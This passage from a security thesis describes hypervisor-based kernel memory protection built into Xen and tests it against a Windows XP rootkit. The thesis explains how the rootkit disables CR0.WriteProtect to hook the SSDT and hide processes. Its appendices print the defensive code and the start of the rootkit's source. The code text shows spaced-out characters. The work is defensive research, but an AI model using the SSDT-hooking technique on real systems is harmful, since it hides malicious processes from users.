#  501030 8059849a 805e5666 805e8ec4 805e5698

Figure 23: Two virtual addresses resolving to the same physical address

Proposed solution

Our proposed technique addressing memory re-mapping is based on the shadow page table
management code in the hypervisor. This code can be described as a software implementation
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of a virtual memory management unit (MMU). Among its responsibilities is to create new page
mappings on the behalf of the virtualized guest. When a mapping of a page takes place, the
machine memory is mapped in the shadow page tables, which are explained and illustrated in
Section 2.5.6. The virtual MMU then propagates this mapping to the guest page tables. In other
words, the virtual MMU controls the memory mappings on behalf of the guest.

Is physical memory 

to map on a protected 

page?

Hypervisor handles 

mapping of memory on 

behalf of guest

yes

Propagate 

requested mapping 

to guest page tables

no

Is the page already 

mapped?

no

Deny mapping

yes

Figure 24: Flowchart of denying remapping of protected pages.

When a guest attempts to re-map a page which is already mapped in the page tables this has
to be done by the virtual MMU, which we control.

In a scenario with a page in virtual memory to protect, we can get the corresponding physical
page address by looking it up in the page tables. When the guest creates a new mapping, we
control the properties of the new mapping. If the mapping is to a page we wish to protect, and it
has already been mapped we deny the creation of the mapping. All other mappings are routinely
propagated to the guest page tables. Since the guest is not able to map memory itself, it is no
longer able to remap memory in need of protection.

4.6 Overview of proposed techniques

Each proposed technique is here revisited to summarize in terms of dependencies and implemen-
tation considerations.

First off, the protection of memory on writable pages in Section 4.3. In order to enforce
this, the hypervisor need to obtain the addresses to protect. Thus, a semantic understanding is
needed for the given pages. The modifications proposed to enable this is entirely outside the
guest environment. The protection is enabled by modifying page table entry flags in the shadow
page tables. A performance penalty is likely to be introduced with the use of the shadow page
tables and the introduced spurious page faults.
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Secondly, protecting read-only memory in Section 4.4. This technique ensures CR0.WriteProtect
to always be enabled on behalf of the guest. Protecting this flag can be done by adding functio-
nality to the way the hypervisor intercept access to CR0. This is not dependent on understanding
guest memory semantics. However, a semantic view would be beneficial in deciding appropriate
action in case of a protection violation. Performance penalty should be minuscule.

Third and last, blocking memory remapping in Section 4.5. This can be done by modifying the
management code of the shadow page tables, in other words the virtual MMU. This technique im-
plementation is currently theoretical. It is likely that this mechanism is dependent on a semantic
view for two reasons. First, the possibility that legitimate applications may use internal memory
remapping in normal operation. Secondly, a semantic view would limit the amount of memory
to be remap-resistant, thus contribute to minimize the performance penalty of protection.
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5 Experimental work

In order to verify the validity of the theoretical contributions it is necessary to demonstrate this
through an experiment. It is important to point out that the experiment will demonstrate one
of several protection scenarios made possible with the proposed contributions. The goal of the
experiment is to address the research hypothesis.

A hypervisor has the ability to enforce memory protection by intercepting guest ope-
ration and thus prevent malicious kernel modifications.

5.1 Experimental strategy

The laboratory hardware and software setup is described in Appendix A. The test and experiment
are performed on an out-of-the-box default install of Windows XP ServicePack 2 running in a
hardware virtualized environment.

We operate with an attack scenario which our MemProtect is aiming to mitigate. A malicious
kernel module is installed and attempts to modify the kernel in order to alter kernel workflow.
As a baseline the first part of the experiment is a test to demonstrate an example of consequence
of unwanted kernel memory modifications. The following experiment will consist of the same
attack, but with MemProtect in place, which should mitigate the memory modification attempt.

Baseline test - unprotected malicious memory modification The OS is running without any
protective measures. The test is to install a malicious kernel module (described in Sec-
tion 5.1.1) and observe the effects on the system. This serves as an demonstration of a
scenario in need of protective measures.

Experiment The OS is running in a virtualized environment with a modified version of the Xen
hypervisor. The hypervisor should protect selected guest memory, and interfere with the
execution to prevent a malicious event from taking place. A malicious kernel module will
be installed in the same fashion as the previous test.

5.1.1 Experimental malicious kernel module

The experiment is carried out on only one malware sample. However, the experiment results
should be valid for a generic class of malware which use the same technique to unprotect me-
mory. The tested malware sample is representative of this generic malware class. In other words,
it is not significant what the malware does, but how it is done.

The malicious kernel module used in the test and experiment is a rootkit based on publicly
known source code[15], which is elaborated in the case study in Section 2.3.2. The module runs
an initiation function when it is loaded into the kernel. A part of this function is to write a hook
to the SSDT after disabling CR0.WriteProtect. The installed hook function act as a filter hiding
processes which match a defined naming criteria. The memory modification technique of this
rootkit is addressed by the protection technique described in Section 4.4.
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5.2 Test - Unprotected malicious memory modification

One of the processes running in the guest OS is named _root_pad.exe, PID 3988. The mali-
cious kernel module we will install is designed to hide processes containing "_root_" in its image
name1. In Figure 25 the _root_pad.exe is currently running in the background, and we enume-
rate running processes with a filter. The command tasklist will enumerate processes in the same
fashion as Task Manager. The filter "IMAGENAME eq _root_pad.exe" will list only files with image
name equal "_root_pad.exe".

Figure 25: Process list of currently running process

To load kernel modules runtime, an application called Kernel-Mode Driver Manager which is
part of KMDKit[11] is used.

For demonstration purposes the malicious kernel module has enabled a rather verbose prin-
ting of status messages through the kernel API function DebugPrint. These messages can be
viewed in the application DebugView which is part of the Sysinternals toolkit[38]. We load the
malicious kernel module and observe the effect it has on the system. First the status messages
from the module can be viewed in Figure 26. Here we see the kernel module at first locates
the address where it will write its hook. In this case the address is 0x804e2fd4, a pointer in the
SSDT. Since this is known to be in read-only memory, the module will disable CR0.WriteProtect
in order to overwrite the pointer. We observe that bit 16 of CR0, which is the WriteProtect flag,
is successfully disabled. This is followed by the actual write, and the kernel module hooking
function exits.

When we at this point try to enumerate the currently running processes, the _root_pad.exe is
hidden in the process list. We can at the same time observe that the process indeed is currently
running in the background in Figure 27. In this case the hidden process is a harmless copy of
notepad. In a more realistic scenario the hidden process could for instance be a backdoor with
no visible presence on the desktop.

1The image name is the name of the executable file as it is stored on disk.
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CR0.WriteProtect

modified

Figure 26: Messages from rootkit during successful hook

Figure 27: Process list after successful rootkit hook

5.3 Experiment

The outline of the experiment is as follows:

1. Start _root_pad.exe and verify its presence in the process list.

2. Enable our protection mechanisms in the hypervisor by issuing notification through Ether
framework.

3. Load malicious kernel module.

4. Observe status messages both from kernel and hypervisor.

5. Verify if _root_pad.exe is present in the process list.
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To enable our protection mechanisms we use the Ether framework to send a notification mes-
sage from domain0 to the hypervisor. Initialization of MemProtect is printed in Figure 28. The
initialization consists of establishing a shared page for transfer of data, followed by a communi-
cation test with a spurious notification from the hypervisor to the client. After the initialization is
done, the client will send a notification to the hypervisor to enable the MemProtect code in the
hypervisor.

debian:~/ether/ether_ctl# ether 1 memprotect
After init:

shared_page_ptr: 0xffff8300001dd000
shared_page_mfn: 0x1dd
domid_source: 0
event_channel_port: 28

Shared Page va: 0x7fb6d4fad000
Shared Page test:

Page-Sharing is A-OK!

Trying to bind to local port...
Success, bound to local port: 29
Trying to get first pending notification...
Taking off spurious pending notification...

Figure 28: Initalizing MemProtect via Ether framework

After MemProtect is enabled, the malicious kernel module is loaded. This is done with Kernel-
Mode Driver Manager, in the same fashion as the previous test. The output from the module is
displayed in Figure 29. The module locate the pointer which it intends to hook. An attempt to
disable CR0.WriteProtect is performed, but the hypervisor will interfere and deny this operation.
The module continues execution as if nothing irregular has happened. The next operation of the
module is to execute the write to the pointer. From the module point of view this is done, and
the initialization function returns a STATUS_SUCCESS.
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CR0.WriteProtect 

remains unmodified

Figure 29: Messages from rootkit during prevented hook.

It is apparent that during this hook attempt no modifications to CR0 took place, hence
CR0.WriteProtect has been enabled the whole time. This means that the protection flags in the
page table entries has been enforced.

The hooking attempt has been intercepted and prevented, but still the module returns as if it
succeeded. To explain this we print some messages from the hypervisor to display the work-flow
of the prevention mechanism. The Xen debug messages are in Figure 30 verbosely printed for
demonstration purposes.

debian:/# xm dmesg
[...]
(XEN) MemP: Blocked attempt to disable CR0.WriteProtect. Expecting PF soon!
(XEN) MemP: Expected PageFault caused by denied write to 0x804e2fd4
(XEN) MemP: Faulting instruction at 0xf8acd68e
(XEN) MemP: Setting new guest EIP: 0xf8acd690

Figure 30: Status messages from MemProtect

The first message from the MemProtect module in the hypervisor is that an attempt to disable
CR0.WriteProtect has been intercepted and denied. This correlates with the view in Figure 29.
In the next interference, the page fault which is invoked when the malicious module attempts to
write its hook, is trapped by the MemProtect module. In this case the write instruction causing
the page fault is xchg eax, [ecx]. In binary opcode this instruction is represented as 0x8701.
The MemProtect module dismisses the expected page fault and skips the faulting instruction.
The instruction pointer is incremented with the length of the faulting instruction. In this case
skipping the instruction 0x8701 is done by incrementing with 2 bytes. The malicious module
continues execution unaware of any intervention in its execution.
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Figure 31: Process list after prevented rootkit hook

The kernel modules failed attempt to hook and hide processes with _root_ in its image name
is shown by the tasklist in Figure 31. The process is still present in the list, despite the hooking
attempt.
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6 Discussion

The experiment has shown the mitigation of a modification attempt by a malicious kernel mo-
dule. In order to keep size of the experiment reasonable, a typical example of a protection scena-
rio is demonstrated. This chapter will address the results of the experiment in addition to general
considerations to the proposed protection mechanisms.

6.1 Experiment results and implementation

When an attempt to modify protectable memory is made, the experiment code simply skip the
faulting instruction, which is one of several actions mentioned in Section 4.4. Although the
selected protection action will enforce of our security mechanism, the real benefit here is the
ability to prevent the malicious code from affecting the system. How we choose to benefit from
this position and enforce this is a matter of implementation and policy. Which one of the listed
actions is found suitable in a given scenario may depend on the running systems requirements
regarding availability and integrity. This is a matter of weighting of the triad confidentiality,
integrity and availability, a topic outside the scope of this thesis.

To protect specific virtual addresses, these has to be available to the hypervisor which enforce
the protection. The addresses can be apprehended either by reconstructing guest OS semantics[19]
or by consulting exported mappings of symbols to addresses[34]. However, none of these ap-
proaches are exhaustive in the semantic details. In addition it may be argued that protection
mechanisms relying on a semantic understanding of the kernel is a disadvantage[7]. Kernel
malware is elusive and subversive by nature and generally non-predictable. The externally re-
constructed semantic view of a modified kernel may not be representative of the actual kernel
work-flow. For instance, one may enforce protection for a given dispatching table (such as SSDT)
but the malware has redirected the work-flow at either an earlier or later stage. The protection
will then be enforced on a part of irrelevant memory, or in the wrong place in the work-flow. Pro-
tection mechanisms such as denying memory remapping and disabling CR0.WriteProtect are not
depending on semantics. Therefore they are on a general basis more resistant to being bypassed.
In addition a semantic view can be closely linked to the OS kernel version and patch level. To
keep track of the semantic view of several OS’es may become a complex task.

In general one may claim that simple and ’unintelligent’ protection mechanisms are more
robust compared to protection mechanisms relying on decisions and data interpretation.

This thesis contributions has been built in the Xen virtualization solution, due to availability
and ease of addition and implementation of extended features. The protection mechanisms only
utilize a small subset of the functionality in Xen. Thus, a large part of Xen may be regarded
as overhead from a protection point of view. The protection concepts are based on the CPU
virtualization extensions and not bound to Xen. It would be possible to implement the same
mechanisms by creating a dedicated lightweight hypervisor.
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6.1.1 Performance considerations

The performance impact of the protection in the experiment is minuscule, if any. The modifi-
cation of the CR0 register is a privileged instruction, which has to be handled by the hypervi-
sor in any case. The added protection feature accumulates to a handful of instructions, which
should not introduce any humanly noticeable performance penalty. The expected page fault is
somewhat more extensive, but still a rather small operation which normally occur infrequently.
Regarding the other two protection techniques, some consideration needs to be put into the
scope of protection in order to keep performance penalty acceptable. Firstly, protecting against
memory remapping is part of the memory virtualization functionality. This already contributes
to a significant share of the virtualization overhead. Although the overhead normally is accep-
table, applications relying on heavy memory usage (such as a database server) could experience
a heavier performance penalty. Our protection feature will in normal operation not add noticea-
bly to this equation, as memory remapping should be an uncommon practice. When it comes
to protecting sections of writable memory this may potentially introduce the most considerable
performance penalty. If the sections to protect are constantly being written to, this may cause a
significant overhead. Measuring performance impact has not been a part of this thesis. However,

Figure 32: Performance impact of hardware and software virtualization. Source:[1]

performance test have been conducted by Adams et al.[1] which shed light on the impact of
our approach. One of their results is depicted in Figure 32. In this logarithmic graph, different
operations are compared between native execution and execution in software and hardware
virtualized environments. The measurements most relevant for our protection mechanisms are
ptemod, pgfault and cr8wr. The write to CR8, introduce an insignificant overhead. This operation
is comparable to our protection of CR0.WriteProtect. On the other hand, both modification of
page table entry (ptemod) and page fault (pgfault) cause a significant performance impact. This
can be accredited the shadow page table management code, in other words: the virtual MMU
software. In the case of a page fault the amount of CPU cycles are increased more than tenfold. It
is possible to replace the software management of shadow page tables with the newer hardware
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based Extended Page Tables and Nested Paging mentioned in Section 2.5.6. In this thesis it has
not been evaluated whether hardware memory virtualization support implementing extended
protections such as blocking memory remapping.

6.1.2 Limitations of proposed protection

One of the primary limitations of the contributions in this thesis, is that the techniques are based
on mitigating known attack vectors. The techniques are relatively semantic-independent, but still
effective malicious techniques exists, outside the scope of our protection. For instance techniques
exist for bypassing our demonstrated protection of the SSDT, such as Kernel Object Hooking
described in Section 2.3.3. This would leave protection of the original SSDT irrelevant since it
can be replaced and no longer be part of the system call work-flow. One may argue that with the
limitations of a non-exhaustive protection, and limited abilities to protect dynamic memory, little
is added in terms of security. The impact is only shifting the attack surface and the corresponding
attack vectors. However, protection mechanisms like denying memory remapping and disabling
of CR0.WriteProtect can be semantically independent, thus not limited by non-exhaustion.

In this thesis we address attack vectors for malware in the guest. An example of a bypass-
technique outside the scope of our protection is direct memory access (DMA). With hardware
interfaces like IEEE 1394 (firewire) it is possible to access physical memory independently of
the MMU and CPU. This implies that any protection enforced in the page tables or by the MMU
will be irrelevant. This technique has been used to detect evasive memory-resident malware in
a system called copilot[35]. However, technology to address and mitigate DMA exists. By using
IOMMU[58], memory is managed on behalf of device I/O operations, much in the same fashion
as the MMU works on behalf of the CPU.

6.1.3 Consequences of proposed protection

We have addressed some benefits and limitations of our protection. Our protection techniques are
based on modifying the operation of virtual hardware. In other words we modify the specification
of how hardware operates. This might have an undesired effect on the normal operation of the
guest. It is important to let the guest operate as it intends, while we at the same time restrict
unwanted operations. To make sure this is the case we base our protection on the playing rules
of the guest OS. For instance, memory the guest marks as read-only should always be treated as
read-only. The OS issues a blue screen of death if this rule is broken. Therefore it is according
to the OS policy to make sure the protection is enforced. When our hypervisor handle spurious
page faults and trap write-attempts, this is in cases where the kernel otherwise would crash. It
can be argued that the protection benefits kernel stability in addition to security.

6.2 Trust

Kernel integrity is a recurring subject in this thesis. The main objective in this work is however
to address limitations in memory protection. A benefit of this is improved kernel integrity, since
protected read-only memory should no longer be prone to malicious modifications. To evaluate
in what degree we actually contribute to kernel integrity and trust, we must contemplate some
trust and integrity properties.

The protection mechanisms are enabled at a given time when the guest is booted and opera-
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ting. One might consider scenarios where a malicious memory modification has been performed
before any protection is enabled. In this case, when protection is eventually enabled, it would en-
force protection on the modified memory. With this in mind, it can be argued that the protection
should be enabled as early in the boot sequence as possible. By using hardware virtualization,
this is relatively easily addressed. Since the protection mechanisms are residing in code which is
available before the guest OS is booted, the protection can be enabled at any chosen time. The
protection can be enabled from the moment the guest boot is initiated. This however does not
help against modifications to the stored kernel images on disk which are loaded during guest
boot. If the modifications are in the disk images, no memory modification is needed to mali-
ciously control the OS work-flow. In such a scenario our memory protection is irrelevant. This is
outside the scope of this thesis, as mentioned in Section 1.1.

In a similar scenario our protection is enables in a guest OS under attack. The protection
successfully denies attempts to modify protected memory, for instance the way it is done in the
experiment in Chapter 5. At this point we can be confident the protected memory is still intact.
On the other hand, we are in a situation where a malicious kernel module is present in the
kernel. We have little knowledge of what the code of the module is attempting to achieve. It is
difficult to determine if we have mitigated all of the malicious modules attack vectors. Thus, it is
a timely question to ask: To what degree does protecting memory contribute to kernel integrity?
Our protection mechanisms are not exhaustive. Thus, a multi-vector attack could fail at some
attempts, but succeed at others.

The principles of defense in depth still apply. Other work claims to provide lifetime kernel
integrity[26][45]. This is not the case with this thesis. But still, it can be considered an additional
layer of kernel security. It mitigates known design deficiencies and limitations regarding memory
protection, which can be considered beneficial to kernel integrity.

6.3 The use of virtualization

An interesting question in this work is whether any of our protection features could be implemen-
ted without the use of hardware-assisted virtualization. By using hardware-assisted virtualization
we have shown it is possible to tweak and add features to simulated hardware functionality such
as CPU and MMU. It is likely possible to modify the hardware components to further protection.
Hardware-assisted virtualization makes this possible with a relatively small cost and complexity.

One of the benefits in using hardware-assisted virtualization compared to other virtualization
and emulation solutions is the aspect of transparency. If desired, the presence of the hypervisor,
and the guest being aware it is virtualized can largely be mitigated[9]. This is desirable in sce-
narios where malicious processes choose to execute differently based on it being in a virtualized
environment or not. However, complete transparency is not really feasible[12].

Virtualization may be leveraged to get the best of both worlds regarding the compromise
between monolithic and microkernels. The benefit of performance and ease of development of
the monolithic OS, and the isolation and protection provided externally by virtualization. Thus
the hypervisor has the potential to implement guest security equivalent to the microkernel by
using security domains and protection layers. Mitigating malicious kernel modules can best be
done by addressing the problem on several levels, hardware virtualization being one. Much can
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be done inside the user-mode of the OS. For instance, in Windows XP, default "Administrator"
users thwart much of the security policies in the OS and makes the attack scenario for kernel
mode malware simpler than strictly necessary. This said, a lot of the security issues with XP are
improved newer releases of Windows[39].

6.3.1 Security considerations

One of the benefits in leveraging a hypervisor for security is the limited size of its code base. A
relatively small code base makes thorough code audits feasible. In addition, a comprehensible in-
terface makes it less likely to create bugs in the code as a side-effect of immense complexity. Xen
and other full-featured virtualization solutions consists of millions of lines of code. In contrast,
lightweight approaches of task-dedicated hypervisors can consist of code base in the 1.000’s of
lines of code range[45][46]. In any case, humans are a source of faulty code and bugs, and se-
veral examples of the security model in virtualization being breached, has been presented in the
past few years[20][37]. A search for disclosed vulnerabilities in [32] shows several exploitable
vulnerabilities for hypervisors such as Xen and VMware. Exploitable vulnerabilities of this type
can be severe. The isolation properties of virtualization is often used to separate trusted and
untrusted, even confidential and non-confidential, environments. It is important to keep in mind
that the hypervisors isolation property is likely not to be absolute.

6.4 Closing remarks

Although we in this paper go a long way in promoting the hypervisor and its ability to enforce
security mechanisms, it is important to keep a certain sobriety in doing this. The hypervisor will,
despite all its principles of isolation and transparency, always be yet another layer of software. If
the history of computer security has taught us anything, it is that design solutions to a security
problem go a long way in raising the bar, but rarely removes the vulnerability completely. On
one hand we have the imperfection of code introducing new vulnerabilities, on the other hand,
vulnerabilities introduced by the mere design of a solution. This has been apparent with the
advent of concepts like security kernels, perimeter controls and intrusion detection. There is
little reason for virtualization to be an exception from this trend. Nevertheless, this is no reason
to dismiss its contribution to improve security. Our proposed memory protection solution is no
silver bullet, but it contributes to raising the bar, and mitigates a known OS design flaw which is
currently being exploited in-the-wild.
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7 Conclusions

The red line of this thesis has been how hardware-assisted virtualization and the hypervisor can
be leveraged to extend and enforce memory protection. Limitations in protecting memory is a
combination of the memory management implementation and a side-effect of allowing third
party code to execute with kernel privileges. Limitations and weaknesses in the architecture of
memory management and the monolithic kernel pose a security problem in commodity OSes.
This has been addressed as background work. As contributions we have demonstrated how
hardware-assisted virtualization can be used to address some of the inherent memory protec-
tion limitations. To conclude the work of this thesis, we revisit the research questions from Sec-
tion 1.4, with conclusions on our findings.

1. What are the limitations or deficiencies in x86 memory protection?
By examining kernel mode malware it was apparent that the memory protection set in place
by the MMU was not sufficient. The access restrictions are relatively easily bypassed by code
running in kernel mode. We have explored the implementation of memory management and
exposed a set of limitations to protection of memory in Chapter 2. The first of three protection
limitations is the protection granularity gap. This is regarding the discrepancy between the
page-level protection and the need to protect data, such as pointers, at byte-level. Secondly,
the access restriction flags in a page table entry is bypassable by modifying the WriteProtect
flag in CR0 register. The third protection limitation exposed in this work it the possibility to
map physical memory to several virtual addresses, with differing access restriction. Thus, the
memory of a protected page could be modified without considering its protection, simply by
accessing it through a new page mapping.

2. How does the protection limitations affect OS kernel security?
We have explored the attack surface of the kernel in a monolithic operating system. The
kernel is susceptible to manipulation through modification of both static and dynamic data.
The memory protection limitations enable the manipulation of static data, marked as read-
only. By exploring the scope of protection mechanisms such as PatchGuard, it is clear that
selected kernel structures can be considered never to be modified runtime. It has also been
pointed out that as long as the monolithic kernel loads third party code or contains vulnerable
code, it is possible for malicious code to acquire kernel privileges. The combination of kernel
attack surface and memory protection limitations is a consequence of commodity operating
system design. It has been pointed out that the kernel has limited ability to address this
problem within the realm of privileges it has available. Thus, externally enforcing protection
could be suitable for mitigating this design vulnerability.

3. Can the hypervisor be utilized to mitigate the protection limitations, thus enforce memory pro-
tection?
This core research question is addressed by demonstrating an attack scenario mitigated by
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our proposed protection techniques. We design an experiment using techniques of a known
malicious kernel module in an attack scenario. The experiment provided insight to address
our hypothesis:
A hypervisor has the ability to enforce memory protection by intercepting guest operation and
thus prevent malicious kernel modifications.

We have used the VM exit handler in the hypervisor to intercept the work-flow of the guest.
This in order to prevent a set of unwanted actions by the executing code in the guest OS. The
experiment demonstrated a successful mitigation of a kernel memory modification attempt
by a rootkit. This confirmed that the use of hardware virtualization has the ability to mitigate
the memory protection bypass techniques. The hypothesis was confirmed.

We have demonstrated how the hypervisor control the behavior of virtual MMU and CPU. This
has been used to enforce memory protection.
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8 Further work

The contributions of this thesis are a set of techniques and a proof-of-concept implementation
built as modifications to the Xen virtualization solution. The code is research quality and the
ties to the Xen framework can be regarded as temporary. A more deployment-friendly approach
could be to implement the protection mechanisms in a lightweight hypervisor. This would be
installable by putting the running OS inside a guest on-the-fly for instance in the same fashion
as done by the BluePill project[40]. Furthermore, this work rely on the memory virtualization
code of Xen. It is worth investigating if the recent support for hardware memory virtualization
(Extended Page Tables) holds any potential in memory protection. It is not unlikely that this
approach is more efficient and comprehensible than using software implemented shadow page
tables.

In our proposed techniques a set of appropriate actions are described to be executed when a
unwanted event occurs. This proof-of-concept work has implemented a simple solution of skip-
ping the unwanted faulting instructions. More intrusive actions after an attack attempt may be
desirable depending on the need for integrity or availability. For instance a subject worth looking
into is the implementation or injection of an agent set in place to unload or delete the kernel
module code which cause the unwanted actions[7].

Of the three proposed protection techniques, blocking memory remapping is described on a
theoretical level. Further work could investigate a practical implementation of this technique. We
have proposed a suitable stage in the work-flow, namely the shadow memory management code.
Work remains to evaluate whether memory remapping is within expected application behavior.
If this is the case, the protection mechanism need to allow legitimate memory remapping, by for
instance restricting the protection scope to defined memory regions.

Lastly, this work focuses on the protection of kernel memory and modules. The memory pro-
tection could also be applied to processes in user mode. Due to the design of the page tables,
it would be possible to filter on selected processes by intercepting writes to the page table base
register, CR3. For a given scenario, one may have an application with a need to protect its me-
mory beyond what the OS makes possible. For instance protected storage used by web browsers
or email clients could potentially utilize such an approach to mitigate malicious code injection
and other attacks to extract protected content.
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A Experiment setup

Table 4: Experiment computer setup

Hardware
Laptop HP nw9440
Processor Intel Core2 Duo T7400 (2.16 GHz)
BIOS settings Intel VT - enabled
Memory 2 GB

Software
Operating system Debian 5.0.2a - Lenny
kernel version 2.6.26-2-xen-amd64 (with xen extensions)
kernel boot option dom0_mem = 720M
Xen version 3.1.0
gcc version 4.3.2

Table 5: Xen configuration for experiment virtual machine

kernel = "/usr/lib/xen/boot/hvmloader"
device_model = "/usr/lib/xen/bin/qemu-dm"
builder = "hvm"
memory = 512
name = ’xp’
acpi = 0
apic = 0
pae = 0
cpus = "1"
dhcp = "dhcp"
vif = [’ip=192.168.1.5, mac=40:cc:00:00:00:01’]
disk = [’file:/home/wasp/vm/xpsp2/disk.img,ioemu:hda,w’,

’phy:/dev/cdrom,ioemu:hdc:cdrom,r’]
boot = "cda"
vnc = 1
vncconsole = 1
snapshot = 1
tsc_native = 1
serial = ’pty’
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B Experiment code

B.1 Hypervisor protection code

The code appended in the following sections is selected functions from the Xen hypervisor modi-
fied with our protection mechanisms. The source code is from the file xen-3.1.0-src/xen/arch/x86/hvm/vmx.c.
The original source code is available at http://bits.xensource.com/oss-xen/release/3.1.
0/src.tgz/xen-3.1.0-src.tgz.

B.1.1 Emulated mov to CR

A mov to CRx is trapped by the exit handler in Appendix B.1.3 as EXIT_REASON_CR_ACCESS.
In the exit handler switch case the function vmx_cr_access is called. This again calls mov_to_cr.
In mov_to_cr we add our protection code which denies the disabling of CR0.WriteProtect.

// Write to c o n t r o l r e g i s t e r s
s t a t i c in t mov_to_cr ( in t gp , in t cr , s t ruc t cpu_user_regs ∗ regs )
{

unsigned long value , old_cr , old_base_mfn , mfn ;
s t ruc t vcpu ∗v = curren t ;
s t ruc t v l a p i c ∗ v l a p i c = vcpu_v lap ic ( v ) ;
. . .

switch ( c r )
{
case 0: /∗ CR0 ∗/

// memprotect added code
// i f someone t r i e s to d i s a b l e c r0 s w r i t e p r o t e c t we thwart

t h e i r at tempt
i f ( ether_is_mp_on (v−>domain) )
{

i f (( value & X86_CR0_WP) == 0)
{

value = value | X86_CR0_WP;
p r in t k ( "MemP: Blocked attempt to d i s a b l e CR0 .

Wr i t ePro tec t . Expect ing PF soon !\ n " ) ;
}

}
i f (( value & X86_CR0_WP) == 0)
{

p r in t k ( "CR0 . Wr i t ePro tec t i s d i sab led \n " ) ;
}
// memprotect end added code
return vmx_set_cr0 ( value ) ;

case 3: /∗ CR3 ∗/
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. . .
break ;

. . .
default :

gdpr intk (XENLOG_ERR, " i n v a l i d cr : %d\n " , c r ) ;
domain_crash (v−>domain) ;
return 0;

}
return 1;

}

s t a t i c in t vmx_cr_access ( unsigned long e x i t _ q u a l i f i c a t i o n ,
s t ruc t cpu_user_regs ∗ regs )

{
unsigned in t gp , c r ;
unsigned long value ;
s t ruc t vcpu ∗v = curren t ;

switch ( e x i t _ q u a l i f i c a t i o n & CONTROL_REG_ACCESS_TYPE) {
case TYPE_MOV_TO_CR:

gp = e x i t _ q u a l i f i c a t i o n & CONTROL_REG_ACCESS_REG;
cr = e x i t _ q u a l i f i c a t i o n & CONTROL_REG_ACCESS_NUM;
return mov_to_cr (gp , cr , regs ) ;

case TYPE_MOV_FROM_CR:
. . .

default :
BUG() ;

}
return 1;

}

B.1.2 Functions in xen used by protection code

s t a t i c in t _ _ g e t _ i n s t r u c t i o n _ l e n g t h ( void )
{

in t len ;
len = __vmread (VM_EXIT_INSTRUCTION_LEN ) ; /∗ Sa fe : c a l l e r s aud i t ed ∗/
BUG_ON(( len < 1) || ( len > 15)) ;
return len ;

}

s t a t i c void i n l i n e __update_guest_e ip ( unsigned long i n s t _ l e n )
{

unsigned long cu r ren t_e ip ;

cu r ren t_e ip = __vmread (GUEST_RIP ) ;
__vmwrite (GUEST_RIP , cu r ren t_e ip + i n s t _ l e n ) ;
__vmwrite (GUEST_INTERRUPTIBILITY_INFO , 0) ;

}
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B.1.3 VM Exit Handlers

The function vmx_exit_handler is called when a VM Exit is performed by the CPU. This code
dispatches to handler functions based on exit reason in the VMCB. The protection code to catch
expected page faults is handled as a Non Maskable Interrupt (NMI). A NMI is an interrupt to be
handled by hardware.

Code not relevant for the protection mechanisms has been omitted and replaced by [...].

asmlinkage void vmx_vmexit_handler ( s t ruc t cpu_user_regs ∗ regs )
{

unsigned in t ex i t _ rea son ;
unsigned long e x i t _ q u a l i f i c a t i o n , i n s t _ l e n = 0;
s t ruc t vcpu ∗v = curren t ;

ex i t _ rea son = __vmread (VM_EXIT_REASON) ;
. . .
switch ( ex i t _ rea son )
{

case EXIT_REASON_RDTSC :
. . .
break ;

case EXIT_REASON_EXCEPTION_NMI :
{

unsigned in t i n t r _ i n f o , vec to r ;
i n t r _ i n f o = __vmread (VM_EXIT_INTR_INFO) ;
vec to r = i n t r _ i n f o & INTR_INFO_VECTOR_MASK ;
. . .
switch ( vec to r )
{

case TRAP_debug :
. . .
case TRAP_page_fault :

e x i t _ q u a l i f i c a t i o n = __vmread (EXIT_QUALIFICATION) ;
regs−>error_code = __vmread (VM_EXIT_INTR_ERROR_CODE) ;

// memprotect added code
i f ( ether_is_mp_on (v−>domain) ) {

// e r r o r _ c od e 3: PFEC_wr i t e_ac c e s s & PFEC_page_present
i f ( mp_is_address_protected ( e x i t _ q u a l i f i c a t i o n )&(regs−>

error_code == 3) )
{

p r in t k ( "MemP: Expected PageFault caused by denied wr i te
to %lx \n " , e x i t _ q u a l i f i c a t i o n ) ;

p r in t k ( "MemP:\ t F a u l t i n g i n s t r u c t i o n at 0x%lx \n " , __vmread
(GUEST_RIP) ) ;

i n s t _ l e n = _ _ g e t _ i n s t r u c t i o n _ l e n g t h () ;
__update_guest_e ip ( i n s t _ l e n ) ;
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pr in t k ( "MemP:\ t S e t t i n g new guest EIP : 0x%lx \n " ,
f a u l t i n g _ e i p + i n s t _ l e n ) ;

break ;
}

}
// memprotect end added code
. . .
default :

goto ex i t_and_crash ;
}
break ;

}
. . .
case EXIT_REASON_CR_ACCESS :
{

e x i t _ q u a l i f i c a t i o n = __vmread (EXIT_QUALIFICATION) ;
i n s t _ l e n = _ _ g e t _ i n s t r u c t i o n _ l e n g t h () ; /∗ Sa fe : MOV Cn , LMSW,

CLTS ∗/
i f ( vmx_cr_access ( e x i t _ q u a l i f i c a t i o n , regs ) )

__update_guest_e ip ( i n s t _ l e n ) ;
break ;

}
. . .
case EXIT_REASON_VMCLEAR:
case EXIT_REASON_VMLAUNCH:
case EXIT_REASON_VMPTRLD:
case EXIT_REASON_VMPTRST :
case EXIT_REASON_VMREAD:
case EXIT_REASON_VMRESUME:
case EXIT_REASON_VMWRITE :
case EXIT_REASON_VMXOFF :
case EXIT_REASON_VMXON:

/∗ Repor t i n v a l i d opcode e x c e p t i o n when a VMX g u e s t t r i e s to
e x e c u t e any o f the VMX i n s t r u c t i o n s ∗/

vmx_inject_hw_exception (v , TRAP_invalid_op ,
VMX_DELIVER_NO_ERROR_CODE) ;

break ;

default :
ex i t_and_crash :

gdpr intk (XENLOG_ERR, " Bad vmexit ( reason %x ) \n " , ex i t _ rea son ) ;
domain_crash (v−>domain) ;
break ;

}

vmx_proper ly_se t_ t rap_ f l ag ( v ) ;
}
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B.2 Malicious kernel module code

#include " ntddk . h "

#pragma pack (1)
typedef s t ruc t Se rv i c eD es c r i p t o rE n t r y {

unsigned in t ∗ Serv iceTableBase ;
unsigned in t ∗Serv iceCounterTableBase ; // Used only in checked

b u i l d
unsigned in t NumberOfServices ;
unsigned char ∗ParamTableBase ;

} Se rv i ceDesc r ip to rTab leEn t ry_ t , ∗ PServ i ceDesc r ip to rTab l eEn t ry_ t ;
#pragma pack ()

__dec l spec ( d l l impor t ) Se rv i c eDes c r i p to rTab l eEn t r y_ t
KeServ i ceDesc r ip to rTab le ;

#define SYSTEMSERVICE( _ func t ion ) KeServ i ceDesc r ip to rTab le .
Serv iceTableBase [ ∗(PULONG) ((PUCHAR) _ func t ion+1)]

PVOID ∗MappedSystemCallTable ;
